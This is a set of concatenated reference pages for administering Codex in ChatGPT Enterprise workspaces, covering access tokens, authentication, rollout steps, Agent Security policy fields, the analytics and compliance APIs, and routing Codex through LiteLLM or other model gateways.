references/administration/access-tokens.md
# Access tokens
Create and manage Codex access tokens — ChatGPT workspace credentials scoped to Codex permissions — for programmatic, non-interactive Codex workflows.
## Overview
Codex access tokens authenticate trusted non-interactive local workflows (Codex CLI, app-server-based automation) with a ChatGPT workspace identity. Currently supported for ChatGPT Business and Enterprise workspaces. Created at [Access tokens](https://chatgpt.com/admin/access-tokens); tied to the creating user and their workspace.
Use a Workspace Agent access token (not a Codex access token) to trigger published ChatGPT workspace agents via the Workspace Agents API.
## Signature / Usage
```bash
export CODEX_ACCESS_TOKEN="<access-token>"
codex exec --json "review this repository and summarize the top risks"
```
Persistent local login:
```bash
printf '%s' "$CODEX_ACCESS_TOKEN" | codex login --with-access-token
codex exec "summarize the last release diff"
```
## Enable, expire, create, rotate
1. **Enable creation**: Workspace Settings > Permissions & roles > Access tokens > **Allow users to create access tokens**. Also enable **Allow members to use Codex Local** if the workflow needs desktop app / CLI / IDE extension access.
2. **Set expiration limit**: Workspace Settings > Permissions & roles > Codex Local > **Access token expiration limit** (applies to new tokens only).
3. **Create**: [Access tokens](https://chatgpt.com/admin/access-tokens) > Create > name it (e.g. `release-ci`) > choose expiration (prefer finite, e.g. 7/30/60/90 days; shortest is 1 day) > copy immediately (not retrievable later).
4. **Rotate**: create replacement > update secret in runner/scheduler > smoke test > revoke old token.
## Permission model
| Capability | Owners/admins | Member with token permission | Member without |
|------------|----------------|-------------------------------|-----------------|
| Open Access tokens page | Yes | Yes | No |
| Create access tokens | Yes (own identity) | Yes (own identity) | No |
| List access tokens | Workspace-wide | Only own | No |
| Revoke from Access tokens page | Any workspace token | Only own | No page access |
| Grant/remove access token permission | Yes | No | No |
## Troubleshooting
- The Access tokens page returns 404 or forbidden: ask a workspace owner to confirm your role includes **Allow users to create personal access tokens** or **Allow members to use Codex access tokens** (depending on the interface); for token-authenticated Codex workflows also confirm **Allow members to use Codex and Work Locally** or **Allow members to use Codex locally** is active.
- `codex login --with-access-token` fails: confirm you copied the generated access token (not a browser session token or Platform API key), that it is active and not expired, and that it belongs to a user with the required local Codex permission.
## Notes
- Token creation details: when the access-token creation dialog shows **Scopes**, select **Codex** (add **Workspace Agents** only if the same workflow also triggers a workspace agent; with no selector, the dialog creates a Codex-only token). Scoped personal access tokens must expire; an earlier Codex-only dialog could offer **No expiration**, which should be avoided unless approved and rotated on a schedule. If the dialog lists a required Codex CLI version, update the CLI to it or later. Revoked or expired tokens can't start new authenticated runs. Tokens created from a dedicated non-human workspace identity's detail page are covered in service-accounts.md.
- Permission interplay: if the **Access tokens** section appears enable **Allow users to create personal access tokens**, otherwise enable **Allow members to use Codex access tokens** in **Codex and Work Local** or **Codex Local**; also enable the matching local Codex permission for the workflow owner (**Use Work locally** isn't required for Codex tokens). Disabling local Codex permission suspends (doesn't revoke) active Codex tokens owned by affected members; restoring it reactivates them; revoke tokens when access must end permanently. A member needs both local Codex access and access-token permission; the expiration limit lives in the **Access tokens** section or in **Codex and Work Local** / **Codex Local**.
- `codex login --with-access-token` stores an agent identity credential in CLI auth storage; use the `CODEX_ACCESS_TOKEN` environment variable instead to avoid persisting credentials. Don't reuse the Codex access token as the app-server remote WebSocket transport token.
- The access token permission controls token creation only — it doesn't grant desktop app / CLI / IDE extension access, and doesn't change seat type, workspace role, or local permission profile.
- Main risks: leaked secrets, untrusted CI runners exposing tokens, shared identities, stale long-lived credentials, using the wrong credential type (use Platform API keys for general API calls, Workspace Agent tokens to trigger agents).
- `codex app-server` can use the same `CODEX_ACCESS_TOKEN` credential for OpenAI requests, but that is separate from client-to-app-server transport authentication (see App server docs for the remote WebSocket bearer/capability token).
## Related
- [Authentication](./authentication.md)
- [Admin rollout guide](./admin-rollout-guide.md)
- [Groups and provisioning](./groups-and-provisioning.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Governance](./governance.md)
references/administration/admin-rollout-guide.md
# Admin rollout guide
Plan, configure, and verify a ChatGPT Enterprise rollout across workspace and developer surfaces, in eight sequential steps.
## Signature / Usage
Rollout boundaries covered:
- Workspace access
- Local runtime policy for the ChatGPT desktop app, Codex CLI, and IDE extension
- Codex cloud
- Platform API access
- Plugins and connector access
- Permissions in connected systems
## Steps
| Step | Focus |
|------|-------|
| 1. Assign owners and choose a rollout | Owners for workspace access, local runtime policy, Codex cloud, connected systems, reporting/compliance |
| 2. Configure workspace access and identity | Membership, seats, groups, RBAC; test with a representative member first |
| 3. Configure local runtime requirements | Deliver `requirements.toml`; prefer permission profiles over legacy sandbox-mode restrictions |
| 4. Standardize repository configuration | `.codex` / `.agents` config, rules, skills per repository |
| 5. Configure Codex cloud | Grant access, install source-system integration, limit repo access, configure environments/secrets/internet access |
| 6. Configure plugins and connected capabilities | Review plugin/skill/connector-backed capability, test with non-sensitive data, least access first |
| 7. Set up governance and observability | Choose Workspace analytics, Analytics API, Compliance API, or usage limits per the question being asked |
| 8. Verify and maintain the rollout | Verify every boundary with representative identities; record owners and procedural sources |
## Step details
- Gateway: if you manage a model gateway for local Codex clients, use roll-out-a-gateway.md for qualification, credential distribution, and client handoff; configure workspace access separately.
- Step 3 (local runtime): deliver `requirements.toml` through a supported cloud, device, or system channel (separate from workspace roles and groups); prefer permission profiles over legacy sandbox-mode restrictions. To disable Computer Use across browser and desktop surfaces, pin `[features] browser_use = false`, `browser_use_full_cdp_access = false`, `browser_use_external = false`, `in_app_browser = false`, `computer_use = false`; use `allowed_permission_profiles` with `default_permissions = ":workspace"` for the profile allowlist. Where `in_app_browser` (and related browser features) are pinned in managed requirements they take precedence over local settings.
- Step 4 (repository config): configuration (Config basics), rules (Rules), and skills (Build skills) checked into `.codex` or `.agents` according to each feature's documented location; repository configuration can't grant workspace, model, Platform API, or connected-system access.
- Step 5 (Codex cloud): Codex Cloud is off by default for Enterprise workspaces; existing **Use Codex in the cloud** settings carry forward from Codex Cloud (Legacy) (workspaces that enabled Cloud keep access; those with it disabled remain off until an admin enables it). Grant **Use Codex in the cloud** to the audience and **Manage workspace environments** to the people who create and edit workspace-shared environments; install the source-system integration; limit repository access; configure environments, secrets, internet access, and cloud-managed requirements; configure optional hosted workflows such as code review; test task access with a representative member and environment management with the designated administrator. Cloud environments don't inherit local device policy, MDM settings, or local network access.
- Step 6 (plugins): confirm each plugin or skill's source, accountable owner, audience, and review date; review bundled skills, connectors, MCP servers, hooks, and the data and actions required; test with non-sensitive data and least access; record who owns re-review and retirement. Plugins work in Chat and Work across ChatGPT on web, desktop, and mobile, in Codex in the desktop app, and through the Codex CLI plugin browser; not in the IDE extension. ChatGPT and Codex share one universal public plugin directory.
- Step 7 (governance): Workspace analytics (interactive), Analytics API (aggregated), Compliance API (audit and investigation records), usage limits and spend controls; store integration credentials in the organization's secret-management system and protect exported Compliance API records.
- Step 8 (verify): verify workspace membership, seat, and role permissions; covered local capabilities and effective runtime requirements; Codex cloud access, environment configuration, and repository permissions; Platform API organization and project access; plugin installation, bundled skills, connector access, and actions; connected-system authorization; analytics and compliance access. Record the owner and current procedural source for each control, and review access, connected capabilities, credit use, support feedback, and used workflows after the initial rollout.
- Workspace labels: **Codex and Work Local** combines local Codex and Work access under **Allow members to use Codex and Work Locally**; some workspaces instead have independent **Codex Local** (**Allow members to use Codex locally**) and **Work Local** (**Use Work locally**) sections, and enabling one doesn't enable the other. Token permissions and credential lifetime limits appear under **Access tokens** or the local-access section.
- Local computer access with Work Cloud (ChatGPT Work) is a separate opt-in covered by its own guidance; review policies in Agent Security first (policy migration and feature access are separate; if `enforce_residency` is enabled in any cloud policy, **Allow local computer access** is disabled; it doesn't provide strict zero data retention).
## Notes
- In workspace settings, **Codex Local** is a grouping label for local access and access-token controls, not a separate product. **Allow members to use Codex Local** covers the ChatGPT desktop app, Codex CLI, and IDE extension.
- Managed configuration is a separate policy layer that constrains supported runtime behavior for those clients.
- Repository configuration (Step 4) can supply defaults and reusable workflows, but can't grant workspace, model, Platform API, or connected-system access.
- Codex cloud (Step 5) respects the repository permissions exposed by the connected source system; workspace access doesn't bypass those controls.
- Disabling a connector-backed capability (Step 6) doesn't necessarily uninstall the plugin or its bundled skills.
- Use authenticated API references (not this guide) for current access requirements, schemas, and request behavior when building integrations.
## Related
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Managed configuration](./managed-configuration.md)
- [Governance](./governance.md)
- [Groups and provisioning](./groups-and-provisioning.md)
references/administration/administration.md
# Administration
Set access and policy boundaries for ChatGPT, Codex developer tools, APIs, plugins, and connected systems. This is a hub page: start with workspace identity and access, then configure local runtime policy for supported capabilities in the ChatGPT desktop app, Codex CLI, and IDE extension; Codex cloud eligibility; Platform API access; plugins and connectors; and permissions in connected systems.
## Overview
The administration section covers six key areas: workspace access, local runtime policies (desktop app / CLI / IDE extension), Codex cloud eligibility, Platform API permissions, plugin availability, and connector permissions.
## Documentation Structure
1. **Getting started** — rollout planning (see [Admin rollout guide](./admin-rollout-guide.md)); the Admin plugin for permissions, approvals, and supported administrative workflows (outside this skill's scope).
2. **Identity and access** — sign-in, provisioning, roles, credentials (see [Authentication](./authentication.md), [Groups and provisioning](./groups-and-provisioning.md), [Roles and workspace permissions](./roles-and-workspace-permissions.md), [Access tokens](./access-tokens.md), [Service accounts](./service-accounts.md)).
3. **Deployment and configuration** — app distribution, updates, runtime settings, model access, gateways, and Bedrock (see [Deploy the Windows app](./windows-deployment.md), [Manage app updates](./manage-app-updates.md), [Managed configuration](./managed-configuration.md), [Workspace model availability](./workspace-model-availability.md), [Sign in with ChatGPT through a gateway](./sign-in-with-chatgpt-through-a-gateway.md), [Use API/provider credentials](./connect-to-a-gateway.md), [Roll out a gateway](./roll-out-a-gateway.md), [Gateway compatibility](./gateway-compatibility.md), [Bedrock through LiteLLM](./bedrock-through-litellm.md); direct Bedrock access is in config/amazon-bedrock.md).
4. **ChatGPT Work** — overview, cloud and local security, usage and cost, and the admin FAQ (see [ChatGPT Work admin FAQ](./work-admin-faq.md); the other Work pages are ChatGPT Work specific and outside this skill's scope).
5. **Plugins and connections** — plugin availability, connector access and actions, plugin import and sync, and skill controls (see [Plugin controls](./plugin-controls.md), [Plugin management](./plugin-management.md), [Skill controls](./skill-controls.md)).
6. **Usage and analytics** — workspace analytics and the Analytics API (see [Workspace analytics](./workspace-analytics.md), [Analytics API](./analytics-api.md), [ChatGPT usage limits and spend controls](./usage-limits.md)).
7. **Security and compliance** — governance, Agent Security, and audit (see [Governance](./governance.md), [Agent Security](./agent-security.md), [Compliance API and audit events](./compliance-api.md)).
## Notes
- Each numbered category above maps to a set of reference pages in this directory.
- Pages listed on the official hub that this skill doesn't reproduce: dots permissions, Space sharing, Sites administration, teams and Team Tasks, Slack/Teams deployment (admin side), workspace connections, Local computer access for Work Cloud and dots, dynamic groups, user lifecycle management, Bedrock GovCloud configuration, GPTs and sharing, migrating custom GPTs to plugins, Usage Insights, Prisma AIRS, and HIPAA configuration.
- For approvals, sandboxing, and other agent security mechanisms, see the security-automation reference scope instead.
## Related
- [Admin rollout guide](./admin-rollout-guide.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [ChatGPT Work admin FAQ](./work-admin-faq.md)
- [Agent Security](./agent-security.md)
- [Plugin management](./plugin-management.md)
references/administration/agent-security.md
# Agent Security
Admin Console area for managing Codex/Work policies and configuration. Replaces Policies & Configuration. Each policy has a Global baseline plus optional Local and Codex Cloud environment overrides.
## Signature / Usage
Managed networking path in the Admin Console:
```text
Admin Console > Agent Security > <policy> > Global | Local | Codex Cloud > Requirements > Manage Networking
```
Orchestrator controls (Global only) and their `requirements.toml` fields:
| Control | `requirements.toml` fields |
|---------|----------------------------|
| Approval policies and review | `allowed_approval_policies`, `allowed_approvals_reviewers`, `auto_review`, `guardian_policy_config` |
| Web search modes | `allowed_web_search_modes` |
| Apps, MCP servers, plugins | `apps`, `mcp_servers`, `plugins` |
| Command rules | `rules` |
| Managed hooks | `hooks`, `allow_managed_hooks_only` |
Execution controls (Global, with Local / Codex Cloud overrides):
| Control | `requirements.toml` fields |
|---------|----------------------------|
| Login shell use | `allow_login_shell` |
| Allowed sandbox modes | `allowed_sandbox_modes` |
| Permission profiles and defaults | `allowed_permission_profiles`, `default_permissions`, `permissions` |
| Remote sandbox configuration | `remote_sandbox_config` |
| Managed execution networking | `experimental_network` |
| Windows execution settings | `windows` |
Environment defaults (Defaults editor, `config.toml` fields): `allow_login_shell`, `shell_environment_policy`, `sandbox_mode`, `sandbox_workspace_write`, `default_permissions`, permissions, windows.
## Notes
- Global sets orchestrator controls (approvals, web search) and shared execution settings. Local applies to work on a connected computer; Codex Cloud applies to Codex cloud tasks and only takes effect after Codex Cloud is enabled on the permissions page. Empty environment settings inherit Global.
- Only **Allowed approval policies** and **Allowed web search modes** have dedicated Agent Security UI controls; configure the other orchestrator fields through TOML.
- Requirements set limits users cannot override; Defaults set starting values within those limits. A default does not override an enforced requirement.
- Policy precedence: across policies a higher-priority policy wins even over a more specific lower-priority one. Within one policy: OS-specific environment override, then all-OS environment override, then Global. For local execution, MDM and legacy managed-device requirements rank above Agent Security; the device's system requirements file ranks below it.
- Managed networking (UI): Admin Console > Agent Security > policy > Global / Local / Codex Cloud > Requirements > **Manage Networking**; add domains with Allow or Deny; **Only allow domains added by admins** prevents user config and per-domain approvals from expanding the managed proxy allowlist. With both on and no effective Allow entries, ordinary managed commands have no allowed destinations; a deny-only policy does not implicitly allow the rest of the internet.
- A managed command allowlist applies to commands using the managed proxy. Approved full sandbox escalation can bypass the command proxy; test both ordinary and escalated commands.
- Codex Cloud: Agent Security requirements constrain command networking, but the Cloud environment's internet settings apply separately and an Agent Security allowed domain does not override them. An explicit Off for local/private connectivity (`allow_local_binding`) can prevent Codex Cloud from reaching its upstream proxy.
- Hooks with Local computer access with Work Cloud: when managed policy and remote hooks are enabled, configure `mcp_tool` handlers in Global `requirements.toml`. Command/shell, prompt and agent handlers, hooks from local config/plugins/directories, environment-scoped hooks, and `SessionEnd` MCP hooks are not supported with cloud orchestration. A `PreToolUse` callback error, timeout, or malformed response can fail the hook without blocking the tool, and MCP hooks do not provide a complete Compliance API audit trail.
- Work Cloud: configure **Cloud browser use** and **Cloud network access** under Admin Console > Permissions & roles > Workspace capabilities > Cloud computer capabilities. Work Cloud containers and dots cloud computers use their own execution configuration, not the managed environment bundle. If `enforce_residency` is enabled in any cloud policy, **Allow local computer access** is disabled for both Work and dots.
- Migration: eligible legacy cloud policies migrate into Global, preserving assignments and ordering. SCIM membership sync and RBAC roles are unchanged.
- Policy API manages Global settings only; Local and Codex Cloud settings are managed through the Agent Security UI. Existing Global API workflows and Terraform integrations remain available after migration; test them.
- Source: https://learn.chatgpt.com/docs/enterprise/agent-security (retrieved 2026-10).
## Related
- [Managed configuration](./managed-configuration.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Governance](./governance.md)
- [Compliance API](./compliance-api.md)
references/administration/analytics-api.md
# Analytics API
The Analytics APIs provide aggregated usage and activity metrics for a ChatGPT workspace. The unified Daily Usage Analytics API reports daily ChatGPT, Codex, and Work usage; confirm that the endpoint is enabled for your workspace before using it.
## Overview
Use the Analytics API to automate recurring workspace usage reporting, join aggregated usage metrics with internal organizational data, build a controlled reporting layer for approved audiences, and avoid coupling an integration to an interactive dashboard (data warehouses, business intelligence, internal reporting). It is not a raw audit-log interface — use the Compliance API for auditable activity records.
## Authentication and scope
Analytics API results are scoped to a single ChatGPT workspace. For the unified Daily Usage Analytics API, use a workspace-scoped Admin key with `enterprise.analytics.usage.read`; the Codex scope `codex.enterprise.analytics.read` doesn't grant access to that endpoint. The API reference owns current key provisioning, scope requirements, routes, schemas, fields, time semantics, and pagination behavior.
## Notes
- The Admin API reference (https://chatgpt.com/public/admin/api-reference) is the source of truth for current access requirements, routes, request and response schemas, metrics, time semantics, and pagination — this page doesn't duplicate that contract.
- Earlier revisions of this page described authentication with a Platform organization API key aligned to the workspace's organization; the current official page instead specifies the workspace-scoped Admin key and scope above.
## Related
- [Workspace analytics](./workspace-analytics.md)
- [Compliance API and audit events](./compliance-api.md)
- [Governance](./governance.md)
- [Admin rollout guide](./admin-rollout-guide.md)
references/administration/authentication.md
# Authentication
Sign-in methods for ChatGPT web and Codex clients (desktop app, CLI, IDE extension) and how sign-in method determines applicable admin controls and data-handling policy.
## Overview
Codex supports two sign-in methods for local work: **ChatGPT sign-in** (subscription access, browser flow) and **API key** (usage-based access). The desktop app, Codex CLI, and IDE extension support both; Codex cloud requires ChatGPT sign-in.
- ChatGPT sign-in: usage follows ChatGPT workspace permissions, RBAC, and ChatGPT Enterprise retention/residency settings.
- API key: usage follows the API organization's own retention/data-sharing settings and is billed at standard API rates through the Platform account.
## Signature / Usage
```shell
# Codex CLI: browser-based ChatGPT sign-in
codex login
# Codex CLI: API key sign-in
printenv OPENAI_API_KEY | codex login --with-api-key
# Codex CLI: enterprise access token sign-in
printenv CODEX_ACCESS_TOKEN | codex login --with-access-token
# check / clear
codex login status
codex logout
```
## Credential storage
```toml
# file | keyring | auto | ephemeral
cli_auth_credentials_store = "keyring"
```
`file` writes `auth.json` under `CODEX_HOME` (default `~/.codex`); `keyring` uses the OS credential store and fails if it is unavailable; `auto` prefers the OS store, falling back to `auth.json`; `ephemeral` keeps credentials in memory for the current process only.
## Enforce a login method or workspace
```toml
forced_login_method = "chatgpt" # or "api"
forced_chatgpt_workspace_id = "00000000-0000-0000-0000-000000000000"
```
Mismatched credentials cause Codex to log the user out and exit. Typically applied via [managed configuration](./managed-configuration.md).
## Headless / device login
Preferred: device code authentication (beta) — enable in ChatGPT security settings or workspace permissions, then `codex login --device-auth`. Fallbacks: copy `~/.codex/auth.json` to the headless machine (via `scp` or a Docker `cp`), or forward the localhost OAuth callback over SSH (`ssh -L 1455:localhost:1455 user@remote`).
## Additional details
- Gateways and Bedrock: for a local client using an organization-provided model gateway choose "Sign in with ChatGPT through a gateway" or "API/provider credentials" (connect-to-a-gateway.md); direct Bedrock access uses the Amazon Bedrock authentication options (see config/amazon-bedrock.md).
- Sign-in surfaces: desktop app and IDE extension use **Continue to sign in** / **Sign in with ChatGPT** on the signed-out screen; the CLI uses `codex login`. API key: desktop app **Sign in another way**; IDE extension **Use API Key**; CLI `printenv OPENAI_API_KEY | codex login --with-api-key`. API key usage is billed at standard API rates instead of included ChatGPT plan credits; use API keys for programmatic CLI workflows such as CI/CD and don't expose Codex execution in untrusted or public environments. API keys and Codex access tokens don't enable Local computer access with Work Cloud.
- Check or sign out: `codex login status`, `codex logout` (rejected when the process selects workload identity). Direct `codex login` runs write a dedicated `codex-login.log` under your log directory.
- Login caching: the CLI and extension share cached login details (in plaintext `~/.codex/auth.json` or the OS credential store); logging out from either requires signing in again; ChatGPT sessions refresh tokens automatically before they expire.
- Custom CA bundles: set `CODEX_CA_CERTIFICATE` to a PEM bundle before logging in (`export CODEX_CA_CERTIFICATE=/path/to/corporate-root-ca.pem; codex login`); falls back to `SSL_CERT_FILE`; applies to login, normal HTTPS requests, and secure WebSocket connections.
- Fallback: authenticate locally and copy your auth cache: run `codex login` on a machine with a browser, confirm `~/.codex/auth.json` exists, and copy it to the same path on the headless machine (e.g. `ssh user@remote 'mkdir -p ~/.codex'` then `scp ~/.codex/auth.json user@remote:~/.codex/auth.json`, or `ssh user@remote 'mkdir -p ~/.codex && cat > ~/.codex/auth.json' < ~/.codex/auth.json`, or `docker cp ~/.codex/auth.json MY_CONTAINER:"$CONTAINER_HOME/.codex/auth.json"`). Doesn't apply if your OS stores credentials in a credential store instead of `auth.json`. For trusted CI/CD runners see "Maintain Codex account auth in CI/CD (advanced)"; API keys remain the recommended default for automation.
- Fallback: forward the localhost callback over SSH (default `localhost:1455`): `ssh -L 1455:localhost:1455 user@remote`, then run `codex login` in that SSH session and follow the printed address on your local machine. Headless login is needed when you run the CLI remotely or local networking blocks the localhost callback.
- Device code authentication (beta): enable it in ChatGPT security settings (personal) or workspace permissions (workspace admin), then choose **Sign in with Device Code** in the login UI or run `codex login --device-auth`, open the link, and enter the one-time code.
- Alternative model providers: with `requires_openai_auth = true` Codex uses OpenAI authentication (sign in with ChatGPT or an API key; useful through an LLM proxy server) and ignores `env_key`; `env_key = "<ENV_VARIABLE_NAME>"` uses a provider-specific key from that environment variable; with neither set Codex assumes the provider needs no authentication (useful for local models).
- Codex cloud MFA: if your account supports more than one login method and one is email and password, you must set up MFA before accessing Codex even if you sign in another way.
- Mismatched forced login method or workspace restrictions make Codex log the user out and exit; the same can be supplied through legacy managed configuration, and admin-enforced login restrictions are in managed-configuration.md ("Manage authentication locally"). Admins can enforce `cli_auth_credentials_store` and `chatgpt_base_url` through local authentication requirements users can't override.
## Notes
- API key authentication supports local Codex workflows, but some ChatGPT-workspace/cloud-dependent features are limited or unavailable; some OpenAI-curated plugins requiring OAuth aren't available under API-key auth.
- Codex cloud requires MFA. Social-login (Google/Microsoft/Apple) users aren't required to enable MFA on the ChatGPT account itself but can via the provider; SSO organizations should enforce MFA at the IdP; email/password login requires MFA before Codex cloud access.
- Treat `~/.codex/auth.json` like a password — it contains access tokens; never commit, paste into tickets, or share in chat.
- Set `CODEX_CA_CERTIFICATE` to a PEM bundle for corporate proxies or private root CAs (falls back to `SSL_CERT_FILE`). When workload identity is selected, `codex login` and `codex logout` are rejected. Admins can also enforce `cli_auth_credentials_store` and `chatgpt_base_url` through local authentication requirements that users cannot override.
- Enterprise admins can grant the access-token permission for trusted non-interactive automation instead of browser sign-in — see [Access tokens](./access-tokens.md).
## Related
- [Access tokens](./access-tokens.md)
- [Groups and provisioning](./groups-and-provisioning.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Managed configuration](./managed-configuration.md)
references/administration/bedrock-through-litellm.md
# Bedrock through LiteLLM
Route Codex to Amazon Bedrock through a LiteLLM gateway: connect to an existing gateway, or deploy one (Bedrock Runtime route, client catalog, test credential, verification).
## Signature / Usage
LiteLLM Runtime model route mapping a stable Codex-facing alias to the approved upstream model:
```yaml
model_list:
- model_name: company-coding-model
litellm_params:
model: openai/global.openai.gpt-6-sol
api_key: os.environ/AWS_BEARER_TOKEN_BEDROCK
api_base: https://bedrock-runtime.us-east-1.amazonaws.com/openai/v1
```
Client-side connection prompt: `gateway-ok` check from the connect guide.
## Options / Props
Client catalog edits for the GPT-6 Sol / Runtime example with Codex 0.158.0 (start from the complete `gpt-6-sol` entry of that version's `models.json`):
| Field | Required edit |
|-------|---------------|
| `slug` | `"company-coding-model"` (matches the LiteLLM alias) |
| `visibility` | `"list"` |
| `availability_nux` | `null` |
| `upgrade` | `null` |
| `use_responses_lite` | `false` |
| `tool_mode` | `null` |
| `supported_reasoning_levels` | Remove the entry whose `effort` is `"ultra"`; retain others |
| `additional_speed_tiers` | `[]` |
| `service_tiers` | `[]` |
| `default_service_tier` | `null` |
| `web_search_tool_type` | `"text"` |
| `multi_agent_version` | `"v1"` |
| `supports_search_tool` | `false` for Runtime |
Deployment checkpoints: deploy the proxy with private database and cache dependencies (stable HTTPS base URL ending in `/v1`); configure a model route and matching client catalog; verify a streamed `POST /v1/responses` ending with `response.completed`; issue a per-user virtual key restricted to the alias with expiration, budget, and rate limits; connect one developer and verify a short prompt.
Troubleshooting:
| Symptom | What to check |
|---------|---------------|
| HTTPS fails before inference | DNS, certificate host name, load-balancer health, allowed client networks |
| Gateway returns `401` or `403` | Distinguish a rejected user credential from an upstream Bedrock authentication/permission failure using gateway logs |
| Requested model isn't found | Exact client-facing alias and its upstream model or inference-profile mapping |
| Request blocked before reaching LiteLLM | Load-balancer and WAF logs, including request-body limits |
| Text works, but a turn doesn't finish | Streaming buffers, timeouts, terminal events, follow-up and tool-call checks |
| Upstream request times out | Model availability in the source Region, routing, quotas, gateway logs before changing timeouts |
## Notes
- Connecting to an existing gateway needs from the administrator: HTTPS base URL (for example `https://gateway.example.com/v1`), the alias routed to an approved Bedrock model, the provider ID, a scoped gateway credential or helper, and any model catalog. The gateway credential authenticates to LiteLLM; Bedrock credentials stay on the gateway.
- Prerequisites to deploy: permission to deploy the approved LiteLLM architecture in AWS, Bedrock access to the routed models or inference profiles, a reviewed LiteLLM image, a trusted HTTPS host name and certificate, a restricted client network range. For the Runtime example the gateway's AWS identity needs `bedrock:InvokeModel` for the selected inference profile and the account's default project.
- Use Bedrock Runtime for new configurations (its OpenAI-compatible Responses endpoint). Hosted web search isn't available on Bedrock Runtime; use Mantle and confirm the gateway preserves the tool request and response. Keep `web_search = "disabled"` in the Runtime client configuration.
- Supply a valid Bedrock API key as `AWS_BEARER_TOKEN_BEDROCK` via secret management; for a short-lived key, issue a replacement before expiry, update the gateway environment, and restart workers. The `openai/` prefix selects LiteLLM's OpenAI-compatible adapter; the Global inference profile can route outside the source Region, so choose a profile and Region meeting data-residency requirements.
- A generic gateway does not inherit the built-in Bedrock provider's metadata adjustments, hence the catalog edits above (mirroring `codex-rs/model-provider/src/amazon_bedrock/catalog.rs` and `runtime_catalog.rs` at `rust-v0.158.0`). Recheck against matching source when changing client version or upstream model. Distribute the full JSON and configure `model_catalog_json`.
- Restrict inbound access to approved clients, keep database and cache ports private, grant only needed Bedrock permissions, and pin the deployed image by digest. Prompts, source excerpts, and tool results pass through the gateway and may enter its logs; decide retention, access, and redaction first. MCP servers and plugins have separate connections and authentication.
- Test credential: a LiteLLM virtual key for one test user, restricted to the alias; don't give users the LiteLLM administrative key or embed gateway credentials in `config.toml`. Verification: certificate matches host name; connect one user; run a short prompt, a follow-up, and a read-only tool task; confirm records show identity, alias, and upstream route without exposing credentials; test expiration/revocation and rejection of unauthorized aliases.
- Reference deployment: pinned LiteLLM on ECS guide in `openai-on-aws/guidance-codex` (commit `eb04fe0`), which uses Bedrock Runtime and refreshes authentication from the ECS task role.
- Source: https://learn.chatgpt.com/docs/enterprise/bedrock-through-litellm (retrieved 2026-10).
## Related
- [Use API/provider credentials through a gateway](./connect-to-a-gateway.md)
- [Roll out a gateway](./roll-out-a-gateway.md)
- [Gateway compatibility requirements](./gateway-compatibility.md)
references/administration/compliance-api.md
# Compliance API and audit events
Understand the purpose and administration boundary of the Compliance API — auditable records for security, legal, governance, and investigation workflows.
## Overview
Use the Compliance API to export supported records into an audit/investigation system, apply organizational retention and legal-hold processes, correlate Codex activity with other security/identity data, and support approved investigations. It is not a productivity dashboard — don't use it to infer code quality or individual performance; use [Workspace analytics](./workspace-analytics.md) or the [Analytics API](./analytics-api.md) for adoption reporting instead.
## Get started
1. Open the [Admin API reference](https://chatgpt.com/admin/api-reference) and confirm your admin role can access the needed compliance resources.
2. Use the append-only compliance log stream for ongoing collection.
3. Test ingestion into a non-production SIEM system or data lake.
4. Schedule continuous collection and apply your organization's access/retention/legal-hold controls to exported records — don't assume the source retention window replaces your own retention policy.
## Download logs
Download the Bash script (https://developers.openai.com/downloads/compliance-api/download_compliance_files.sh) or PowerShell script (https://developers.openai.com/downloads/compliance-api/download_compliance_files.ps1). Both list and download every available log file after a given timestamp, follow pagination, and write JSONL to standard output (errors go to standard error). Set `COMPLIANCE_API_KEY` to your Enterprise Compliance API key; replace `<workspace_or_org_id>` with your ChatGPT workspace ID or API Platform organization ID and `<after>` with an ISO 8601 timestamp that includes a time zone. This example retrieves `AUTH_LOG` files, 100 at a time. On macOS or Linux install Bash, `curl`, and `jq`:
```bash
bash ./download_compliance_files.sh "<workspace_or_org_id>" AUTH_LOG 100 "<after>" > output.jsonl
```
The Windows script supports PowerShell 5.1 or later; review the downloaded file, and if Windows blocks it and policy permits run `Unblock-File -Path .\download_compliance_files.ps1`. This example (PowerShell 7) saves UTF-8 without a byte-order mark:
```powershell
.\download_compliance_files.ps1 "<workspace_or_org_id>" AUTH_LOG 100 "<after>" |
Set-Content -Encoding utf8NoBOM output.jsonl
```
## Notes
- The Admin API reference is now at https://chatgpt.com/public/admin/api-reference; a Compliance Platform guide in the Help Center gives an overview of available compliance surfaces and integration patterns. Example uses: stream immutable compliance events into a SIEM for investigations, or route them into an approved electronic discovery workflow.
- Audit records for Local computer access with Work Cloud (ChatGPT Work): it has the same Compliance API support as Work Cloud, with records under the `conversation_message` and `codex_log` event types; local execution also generates OpenTelemetry events collected separately through an OTel collector endpoint. These sources don't establish a complete record of every local command, file operation, screenshot, approval, or external action. Confirm retention and deletion behavior and compare exported records with actions performed in a representative task. Policy API support doesn't change Compliance API event coverage; hook-based auditing (admin-defined MCP hooks on the cloud coordinator) should be tested separately.
- The authenticated [Admin API reference](https://chatgpt.com/admin/api-reference) owns current routes, event coverage, schemas, filters, retention behavior, and request mechanics — this page doesn't duplicate that contract.
- Compliance coverage follows the ChatGPT workspace and products represented in the current authenticated reference. Platform API organization data follows its own separate administration controls.
## Related
- [Workspace analytics](./workspace-analytics.md)
- [Admin rollout guide](./admin-rollout-guide.md)
- [Governance](./governance.md)
- [Analytics API](./analytics-api.md)
references/administration/connect-to-a-gateway.md
# Use API/provider credentials through a gateway
Configure Codex on a developer machine to reach an LLM gateway using the gateway URL, model alias, and credential or token resolver your organization provides.
## Signature / Usage
Edit `~/.codex/config.toml` (macOS/Linux) or `%USERPROFILE%\.codex\config.toml` (Windows). Keep `model`, `model_provider`, `model_catalog_json`, and `web_search` before the first TOML table.
```toml
model = "gpt-6-sol"
model_provider = "enterprise-gateway"
web_search = "disabled"
[model_providers.enterprise-gateway]
name = "Organization Gateway"
base_url = "https://gateway.example.com/v1"
wire_api = "responses"
env_key = "CODEX_GATEWAY_API_KEY"
```
Remote model catalog (add to the provider table):
```toml
model_catalog_url = "https://gateway.example.com/codex/models.json"
```
Local catalog (top level, absolute path):
```toml
model_catalog_json = "/etc/codex/gateway-models.json"
```
Custom auth header instead of `env_key`:
```toml
env_http_headers = { "X-API-Key" = "CODEX_GATEWAY_API_KEY" }
```
